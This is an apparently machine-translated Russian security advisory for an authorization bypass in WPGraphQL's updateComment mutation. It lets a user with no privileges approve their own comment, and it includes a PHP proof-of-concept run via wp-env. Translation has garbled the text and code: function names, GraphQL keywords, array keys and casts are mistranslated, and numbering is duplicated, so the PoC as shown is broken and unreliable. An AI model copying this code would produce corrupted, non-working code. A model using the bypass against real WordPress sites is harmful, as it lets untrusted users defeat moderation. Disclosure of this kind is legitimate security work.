WPGraphQL предоставляет API GraphQL для сайтов WordPress. До версии 2.10.0, недостаток авторизации в updateComment позволяет аутентифициров…
WPGraphQL предоставляет API GraphQL для сайтов WordPress. До версии 2.10.0, недостаток авторизации в updateComment позволяет аутентифицированному низкопривилегированному пользователю (включая пользовательской роли с нулевыми возможностями) изменять статус модерации своего собственного комментария (например, ОДОБРЯТЬ) без возможности умеренного_комментарного. Это может обойти рабочие процессы модерации и позволить ненадежным пользователям самостоятельно одобрить контент. Версия 2.10.0 содержит патч. ## Детали В WPGraphQL 2.9.1 (тестировано) разрешение на обновлениеКоммент основано на владельце, а не на полевых условиях: - плагины/wp-graphql/src/Mutation/CommentUpdate.php:92 позволяет модераторам. - плагины/wp-graphql/src/Mutation/CommentUpdate.php:99 также позволяет владельцу комментариев, даже если им не хватает возможности модерации. - плагины/wp-graphql/src/Data/CmentMutation.php:94:94 отображает статус ввода GraphQL непосредственно в WordPress comment_approved. - плагины/wp-graphql/src/Mutation/CommentUpdate.php:120:120 сохраняется это значение через wp_update_comment. - плагины/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 обнажает состояния модерации (АОДКЛОР, ХОЛД, СПАМ, TRASH). Это означает, что владелец немодератора может представить статус во время обновления и состояния модерации перехода. ## # PoC Испытано в локальном wp-env (Docker) с WPGraphQL 2.9.1. 1. Среда начала: npm установить npm run wp-env старт 2. 2. Запустите этот PoC: `` npm run wp-env run cli -- wpeval ' add_role("no_caps","No Caps,"[]); $user_id = username_exist("poc_nocaps"); Если ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps,""Passw0rd!","poc_nocaps@example.com"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "PoC пост", "post_status" => "публиковать", "post_type" => "пост", "comment_status" => "открыть", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "в ожидании комментария", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_Одоберу" => "0", ]); wp_set_current_user($user_id); $r результат = graphql([ "запрос" => "мьютерация U(\$id:ID!){ updateКомментарий(input:\$id,status:APPROVE}){ комментарий к успеху>обновить базуИстСм. } } }", "переменные" => [ "id" => (string)$comment_id ], ]); Эхо wp_json_encode([ "role_caps" => array_keys(array_filter(((mare)$user->allcaps)), "статус" => $reult["data"]["ОбновитьКоммент"]["комментарий"]["статус"] ?? null, "db_comment_Одоберу" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); " `` 3. 3. Наблюдайте результат: - role_caps пуст (или нет умеренно_комментс) - мутация возвращает статус: ОДОБРЬ - Значение DB становится комментатором_одобренным = 1 ## Impact Это авторизованная проблема с объездом / сломанным контролем доступа в переходах состояния модерации комментариев. Любое развертывание с использованием мутаций комментариев WPGraphQL, где пользователи с низкой привилегией могут делать комментарии, влияет. Политика модерации может быть обойдена самоодобрительным контентом.
Продукт не выполняет проверку авторизации при попытке субъекта получить доступ к ресурсу или выполнить действие.
https://cwe.mitre.org/data/definitions/862.html →Открыть в коллекции CWE →Нет описания в исходных данных.
https://capec.mitre.org/data/definitions/665.html →Открыть в коллекции CAPEC →